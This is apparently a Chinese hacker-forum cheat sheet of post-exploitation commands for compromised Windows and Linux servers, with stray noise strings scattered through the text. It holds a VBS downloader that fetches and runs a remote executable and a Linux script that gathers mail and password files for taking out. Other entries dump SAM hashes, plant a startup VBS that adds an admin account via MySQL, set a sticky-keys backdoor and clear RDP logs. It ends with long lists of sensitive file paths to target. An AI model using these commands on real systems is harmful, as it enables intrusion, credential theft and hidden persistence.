  E, \& |0 x7 z8 {3 y- ycalling nmount()
6 I3 p5 B8 y2 M* `) z
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
/ N) K2 t1 x# Z7 n. P$ y————————————————————————————
8 N1 @; l& Y" ?1 U2 z1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
4 N+ n9 _$ o. ^+ T6 S) l; @{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

4 Q) [" g0 w* x$ l! E提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
; a- w+ i/ N+ g& x6 B3 n" a命令行RAR打包~~·
$ V- R1 |! T) u0 P" Jrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
8 S4 W7 I7 `& h! F. C2、收集系统信息的脚本  
4 `1 z+ Z9 {* gfor window：

4 |6 n& _( o2 ]5 u2 g$ v1 x@echo off
$ q3 a1 R. p6 Hecho #########system info collection
systeminfo
6 o" m( J8 n, B% Q6 T& `( o% H8 ^ver
hostname
net user
# B: F0 W9 v+ h- }0 Fnet localgroup
net localgroup administrators
net user guest
net user administrator
* i$ @2 q; i& _+ N5 q4 I
echo #######at- with   atq#####
! q( i5 j$ G2 K2 J) Mecho schtask /query
: I( e+ J+ Q/ l. N
- G2 G  z% C, Y7 I7 O8 f1 Yecho
( k% Z6 R2 V6 l2 ?7 J0 K* \% }echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
7 q+ f+ ~% e# Y, g- m  v% L- T2 g. ~route print
4 w3 s6 N* A  G/ S# Iarp -a
netstat -anipconfig /displaydns
echo
echo #######service############
, c4 c9 t3 }$ h2 c, s" I5 usc query type= service state= all
echo #######file-##############
cd \
' T7 N/ Y) {- T- x: R6 U  ltree -F
& n0 D: N/ @+ G0 n) n* L! c6 G% ifor linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
! X& I& l5 Z) @' A# ^: d+ R+ Wecho #######basic infomation##
4 `: v* T& k% q7 Z0 a. Acat /proc/meminfo
+ }  v, }. H0 |5 decho
cat /proc/cpuinfo
echo
7 m: U; T7 [9 I& g2 F' Krpm -qa 2>/dev/null
######stole the mail......######
! o* b1 |. {  H: X; K, Hcp -a /var/mail /tmp/getmail 2>/dev/null

( A5 g  Z7 d1 E: t8 w+ o" U) @
5 a+ ^2 X9 p/ {echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
9 R% J  n- U/ d; q# ^2 Pcrontab -l
echo #####about var#####
set
6 ~8 \- A! L, s7 W  I5 W4 k5 I
$ U3 u/ N1 s; Vecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
2 G& M& w3 o- O) R+ acat /etc/hosts
& t8 ^* i8 S/ o* g+ Q1 dhostname
; r. `7 G3 c* [7 xipconfig -a
8 W/ L3 H" x" q* E. Darp -v
' F  \. X5 t- g3 ^7 j; F& hecho ########user####
$ `. m' R' L4 g9 t7 s6 ]3 e6 hcat /etc/passwd|grep -i sh
( Z+ _6 O& K& W% ~3 k! R2 [
echo ######service####
chkconfig --list

2 u9 ^+ M" U6 E' c& Xfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
. U. o* V4 B$ B3 j4 i* ?/ ^& ?; o
locate passwd >/tmp/password 2>/dev/null
" |" `1 a: s3 t& esleep 5
( [# e$ R5 K3 I: Z5 @8 I% `1 Slocate password >>/tmp/password 2>/dev/null
& n! f; {0 r5 P: m$ S% V5 Lsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
& X/ r0 J% N" j! q9 y3 x& J! {! olocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
" `8 k/ V& k* r( M( s' n
) Q7 q( ~8 T( L7 W( R+ O+ ^4 e( c###maybe can use "tree /"###
! X7 a6 I. }! |  }" F) C3 Cecho ##packing up#########
% x0 A9 C" `) @2 H9 H7 Star cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
: ~: f. j: C/ i1 u# prm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
" B$ \9 J0 f2 J, p2 F$ ?- ]- f首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
$ @5 p" C' G5 h: b接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
+ P; g7 ^/ @+ W3 S据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
! W4 G+ A$ C  X% O, |——————————————
4、vbs 下载者
5 k8 [* f& ]; g& L7 S- z1
2 _7 A2 }# g1 U! g* T5 Yecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
! I4 E) }: z! decho sGet.Mode = 3 >>c:\windows\cftmon.vbs
1 r% }7 x, L) Aecho sGet.Type = 1 >>c:\windows\cftmon.vbs
+ _+ K3 K! R1 m0 ^' t7 M( gecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
! c1 o: n/ t+ K' m9 L! Lecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
% |9 Z$ d- J1 y' }* v9 X6 p* hecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
: J4 Y& @9 }, ^! d  UiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
% [* U* t: {& Ms1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& {1 @& b7 x0 F8 ]Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# E! l& j" R6 Q$ }7 c( M" fSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
6 G  s5 w, l; d: F$ X) ^. c- c4 c. OsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
  A; V5 h" L4 J3 L+ A6 q- _" N* ?9 P
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
* H9 a8 ~6 v0 m# l" f+ m9 y+ N——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
" ~) _; I# F) q1 wREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 I+ {0 _7 S6 b0 i' c6 X3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
! z! Z: k" w0 JREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
+ o# Y, o# X! K( P8 P6 L# w; i% R% x————————————————
/ [; T" G* m. F' j6、create table a (cmd text);
( n. ?& v4 ?- p$ M! u3 ]insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
4 \# q7 t# E. `6 V) [insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
, b0 \1 L- k  h+ z& t: lselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
/ Q" T9 M* T8 c" [/ N' T5 v8、for /d %i in (d:\freehost\*) do @echo %i
4 T; L1 j) q% {6 X& w
列出d的所有目录
. P* O' a3 J0 L; f9 n  
  for /d %i in (???) do @echo %i

2 d2 M) J% Z$ _/ o  @6 Z把当前路径下文件夹的名字只有1-3个字母的打出来
! Z- ^  w9 C* N  z! ]6 S* o# J% [
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
- p# `3 T6 Q. b& w8 k* X
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
# X: D: m3 c0 s4 i! v) M  
) @1 I* W# R! K) G2 t  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

( O" V6 E  K6 i' n$ q* n  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
) w; ~6 k6 I! r! `$ @* kreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

$ h+ [% N3 C3 d0 J/ c2.修改3389的默认端口:
! Q* O) O) |0 h* W. UHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
, [7 ?3 }6 F6 h3 V  M& w
4.Radmin密码:
. u; o. k  f* @- Z5 p' Greg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
; J* B( r4 P5 ^5 C4 I, C
: \( B. K; s. B& K8 F' C6.IPSec默认免除项88端口(需重启):
7 u) D: o9 c* E& N. Q( vreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
  e# Y; ?% g* m' d4 enetsh ipsec static set policy name="myipsec" assign=n
1 K+ o* ~2 J6 O: c
8 G  G  _! r9 [+ j5 Q7 I8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
3 j1 m, M% z/ w1 t. j+ J$ z
! s7 l! V3 P, s% Y, Freg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
2 s" k1 x# @+ T星外vbs(注：测试通过，好东西）
! h8 @6 ]( a8 k0 y+ aSet ObjService=GetObject("IIS://LocalHost/W3SVC")
! v5 J1 |; Z2 @+ ^. mFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
- Z7 }  r& J- g1 {+ O* y; P( @if err.number<>0 then
  W5 j. \8 A0 O  U$ r% Eexit for
( j% ]& ^- D! Y" h$ n+ W6 {msgbox("error!")
9 T& L. I0 L) zwscript.quit
/ O- x" y8 T) w$ x' B- W0 F/ ^5 Oend if
- O7 Z4 ^. e9 `& K. yserverbindings=IIS.serverBindings
  A$ \' b) m1 X3 Q# G/ RServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
$ q; P  H9 L, e* ipass=iisweb.AnonymousUserPass
path=IIsWeb.path
! O+ s% Q" L/ \3 p. b* e8 b: ]list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
: x3 h8 Y' B1 B2 P% g, q' h& aend if
8 Q& W) [: }7 I3 i2 x9 s$ dNext
wscript.echo list
Set ObjService=Nothing
5 \& h9 b7 G9 K' t( R- Mwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
* U0 M9 K. Y' ^9 e' H' ^+ @WScript.Quit
复制代码
$ N1 g5 Z. J" |  E4 h----------------------2011新气象，欢迎各位补充、指正、优化。----------------
" q/ E+ ~) a2 N' k$ u1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
1 E; s. r, ~- h3 T6 z! ~& l将folder.htt文件，加入以下代码：
5 C) l# M9 N' C6 }3 q<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
. G+ m: y  {- C! w# ?; t3 s" N</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
, k( D+ R3 [- APS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
' g* l7 N  V' e0 `# Sasp代码，利用的时候会出现登录问题
3 W$ q8 w: t) z$ f, { 原因是ASP大马里有这样的代码：（没有就没事儿了）
! ?4 ]; E, m0 ~8 ` url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
; Z; F9 k. C8 t! u/ ^7 x1 J  a  z0 Y 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
& o: C& p: [+ u# d+ k& {
==============================================================
LINUX常见路径：

4 h8 n3 c1 V, C- q/etc/passwd
/etc/shadow
" A6 d- N- a. P  a) A+ X$ b/etc/fstab
/etc/host.conf
2 J. a4 k+ O! ~6 O9 D$ l6 B/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/ X: `  Q1 k( c1 P& P" E/var/www/conf/httpd.conf
" Z5 }) |( X7 J# {# m/var/www/htdocs/index.html
/ P1 b5 ^' s* z* a1 X3 x" s/var/httpd/conf/php.ini
; U! f" F/ A; ?$ y/var/httpd/htdocs/index.php
, E- }* Z8 B1 m9 ]  Y6 I& Z/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
0 F- {/ v- M$ u3 C$ @# |6 ?/var/httpd/conf/php.ini
/var/www/index.html
+ M" f% Q4 l/ e, ^. Q! ]- S% [/var/www/index.php
/opt/www/conf/httpd.conf
8 g' O7 Y4 q* K) P3 w/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
# g6 e& R6 K( a5 D, ^4 h( U3 _, Z/usr/local/apache2/htdocs/index.html
6 f: J# r4 G6 X7 S$ a- v/usr/local/apache2/htdocs/index.php
5 S* b+ X7 y: ~* g( e, w$ n1 _/usr/local/httpd2.2/htdocs/index.php
5 }3 I0 h# F0 w/usr/local/httpd2.2/htdocs/index.html
6 i4 F4 |; Y$ j% \/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
2 v6 d" r# }9 J& w, W/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
) c4 R2 X2 d( ]/www/php4/php.ini
/www/php5/php.ini
: y  G) J6 T+ q7 G  i6 |/www/conf/httpd.conf
/ L8 _$ X" I* g( W. w7 h* K/www/htdocs/index.php
/www/htdocs/index.html
. p& V& |+ r) c' o( i/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
- Z  ]5 h- `0 ~, G8 w( K/apache/apache2/conf/httpd.conf
2 G% Q  _) }$ Z9 Z/etc/apache/apache.conf
+ i+ D0 t5 t4 c2 G& ]+ U/etc/apache2/apache.conf
6 P1 T/ b( e( c4 ]3 X/etc/apache/httpd.conf
* z6 C7 D5 y: r! ~4 x/ z/ }/ ^9 g% ^/etc/apache2/httpd.conf
8 W& ]9 M. H2 A' e& Q0 U' }: `$ E/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
- T3 J0 b1 v: z! J# I$ o+ H) j" D/etc/httpd/conf.d/php.conf
" o% S! p' o; ]6 d7 T9 ]$ i/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
5 Q% t7 h" g: g8 V; P1 ~/home/apache2/conf/httpd.conf
3 v5 u* K- d- z* p/var/log/apache/error_log
& W! L. R8 q! Y/var/log/apache/error.log
/var/log/apache/access_log
, }" b; B* d; g9 {3 |- w; G( R/var/log/apache/access.log
/ C! V( h9 e& n" m$ `/var/log/apache2/error_log
; z' [6 o. j; m, R7 e. \" M$ T/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
# C( ^+ P( Z' k* C- F( J& s2 n. [/var/www/logs/access_log
- a2 U8 L& k- ?. s1 `5 f/var/www/logs/access.log
4 R5 ~. ?/ `8 l5 g. P- l5 [7 }/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
' r% w# b+ n1 Z! r; q  t; ^, h) x7 G0 e6 T/usr/local/apache/logs/access.log
# r( D9 m5 z5 }7 `: o. V' x/var/log/error_log
* ~% P6 v) R; `8 Z5 a7 |7 @/var/log/error.log
/var/log/access_log
/var/log/access.log
% b: u, r# `  X9 ~$ Z& a8 O) u/usr/local/apache/logs/access_logaccess_log.old
2 S7 k# d: b& n8 |2 Z/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
  z. p5 o& ~2 L1 R5 C/etc/init.d/mysql
/etc/httpd/php.ini
3 w: v- P  P3 M# a1 r- [/usr/lib/php.ini
: b) f$ f) }, t3 i& L  }& h3 Y4 y/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/ D, O$ `& X) @+ w/usr/local/php/lib/php.ini
0 t  ]  Y* Y% T: Z5 u7 g/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
7 [) p0 Q" c* ]* |. V/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
2 f; u- b; e, J2 |/ i  M/usr/local/php5/etc/php.ini
; i$ W4 e, p, _* z4 r# h  Q/usr/local/php5/php5.ini
7 h; `1 j8 f; g9 V/usr/local/apache/conf/php.ini
! h7 x! {" B8 i* h/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
6 k9 v7 F% k  T( J/etc/php4.4/fcgi/php.ini
7 G$ T/ I- y+ O/etc/php4/apache/php.ini
+ X0 t" O+ M0 w8 J- u4 C+ p! J) _0 {/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
$ Y/ q. l5 R& f! I6 {3 I/etc/php5/apache2/php.ini
& Q- `' j# I& f/etc/php/php.ini
1 s8 x3 }, m% v- h4 J9 y( C/etc/php/php4/php.ini
, J5 b5 S; c- d; L( B/etc/php/apache/php.ini
1 c6 Z$ S* G6 A- o! n/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
) z* |3 m1 _, h" z0 A, w/var/local/www/conf/php.ini
) a+ H: P4 m! m/var/local/www/conf/httpd.conf
+ N' r) Y' s/ o; _7 h6 [( H* Q( S/etc/php/cgi/php.ini
3 q; c/ A. n6 j- u/etc/php4/cgi/php.ini
5 S/ l# t, l! Z+ ~+ x0 K2 n/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
3 r& Z8 F  J: U4 W5 f1 m7 H/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
3 x8 C) g0 U7 ]$ S; X  `# v/home/bin/stable/apache/php.ini
: ?# y# o6 Y/ T; x/var/log/mysql/mysql-bin.log
0 b6 l# \  V/ k! e+ j1 i/var/log/mysql.log
* C! j. i8 M8 y8 ~- v% n$ S/var/log/mysqlderror.log
3 Q6 K4 i: i: ^) k+ N5 l* N/var/log/mysql/mysql.log
$ B. {4 ?' }- |" j/ c9 J" M5 R/var/log/mysql/mysql-slow.log
$ l; M; Z* }* a) r8 Q; Y9 r/var/mysql.log
- ]) {' V9 P' o- E/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
  ~% J9 R6 [8 T. Q1 H/usr/local/mysql/bin/mysql
% G, k  ~8 t# \/etc/mysql/my.cnf
3 l' T/ u- P5 }9 |: |/etc/my.cnf
- _! W4 V* ~5 O4 h2 ?/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
. i" X: n! f5 z2 W/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
4 Z, S+ p+ C  w7 v8 }9 `8 J# y/usr/local/cpanel/logs/login_log
) ?% h) c; S; i2 J# W4 T& H8 x. E/usr/local/cpanel/logs/stats_log
1 U8 K$ m$ R/ o- E: w/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
- l% \$ y7 k- Z6 \' W& T6 x
9 U: O+ O0 Q- R2 d0 R5 i2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
- a* f* i. W! ~5 q
: @. y6 @# J5 Gc:\windows\php.ini
+ h" T5 ]7 m$ s. b8 Y  }6 mc:\boot.ini
; F, k; t' p! S% c2 M7 wc:\1.txt
c:\a.txt
: F5 K4 T4 a; T# W6 f0 Y% y
! ]9 i2 o+ s4 M0 T0 ~& ^7 Vc:\CMailServer\config.ini
# S9 X% p, n, Yc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
; W2 n- z% v: p. |6 O  lc:\program files\CMailServer\CMailServer.exe
/ J6 W0 y! D& W( s* k0 s/ Mc:\program files\CMailServer\WebMail\index.asp
# `( F( q, m5 F; k3 s# L: J! xC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
  n$ X8 A1 Y1 B8 F) Q. s2 L
c:\hzhost\hzclient.exe
) U# H- t- {* G9 zC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

6 }3 u3 q" n1 I% w+ H5 ]C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
" |+ l" R* R( Yc:\WWWROOT\index.html
' U( _6 t2 @; v5 R" ?9 o3 L; oc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
( e5 J7 I" u  C1 Tc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
, ~( F; R  H( ^5 {) \c:\web\default.asp
  o- z/ D) z, Y* F4 r( fc:\www\default.asp
! A, `- Y5 V% C5 Nc:\wwwsite\default.asp
c:\WWWROOT\default.asp
6 Y* U  o/ G' i3 xc:\web\default.php
c:\www\default.php
$ k- V2 S- e+ U0 n% G% {( @, ic:\WWWROOT\default.php
c:\WWWsite\default.php
/ Z. Q1 C: u5 d5 z9 p) m/ H+ [C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
' E. r4 [0 w1 D2 B8 e+ Jc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
; k( X; z% U4 dC:\Program Files\Microsoft Office\OFFICE11\winword.exe
" l2 o+ s7 Y1 aC:\Program Files\Microsoft Office\OFFICE12\winword.exe
: F7 a: u0 L8 b# S! AC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
  \: `# Z9 ~% gC:\Program Files\360\360Safe\360safe.exe
) w, S% G5 y0 b* \* z6 iC:\Program Files\360Safe\360safe.exe
% T5 p1 V1 D. ?( T: g9 ZC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
! C0 [  D  K. G2 Z& G# F. v! GC:\Documents and Settings\Administrator\My Documents\Default.rdp
& C/ U0 L! t5 @% FC:\Documents and Settings\Administrator\Cookies\index.dat
) f3 S7 H0 T5 @/ |2 h7 uC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
8 }& w/ y% U' OC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
# c) m+ d. a3 U! ~7 L$ y# e, v+ wC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
( n! h. t) X' x+ `/ x+ RC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
) T2 w' G% y7 R' B9 r! eC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
/ o- G3 P2 M) @2 b# q% a1 e0 FC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
5 S! [) S3 F! r% P, V/ S6 s- hC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
# F6 `4 O0 Y* o9 E+ GC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
. B8 y1 C5 ?" @2 i' `) v. B1 k$ qC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
. Q+ a+ C# |1 K9 iC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
& \4 P% s% H% iC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
% ^& d! ^; ^5 L/ H6 nc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
% ?) e! x, K6 u" jC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
% d6 q) T# Q* i* `5 NC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
# t& K/ [% P' A( [8 UC:\WINDOWS\system32\inetsrv\MetaBase.xml
: a$ |7 Z3 N* o- _" uC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
/ k: c. c3 N4 K7 P7 Y- C8 Q  K: F# pC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
. S* s5 g3 w$ ?c:\CMailServer\config.ini
2 D8 y) K% q5 oc:\program files\CMailServer\config.ini
: U' b, O! t+ H& {( o) Uc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
8 I; `- r) C% Q$ f. z# Xc:\program files\tomcat6\bin\version.sh
+ _/ x8 m$ g4 U6 y" ]! x8 FC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
1 F4 V0 p! h6 A$ R+ r: Yc:\Apache2\Apache2\bin\Apache.exe
" {# w' S8 ^: T% k- x0 Zc:\Apache2\bin\Apache.exe
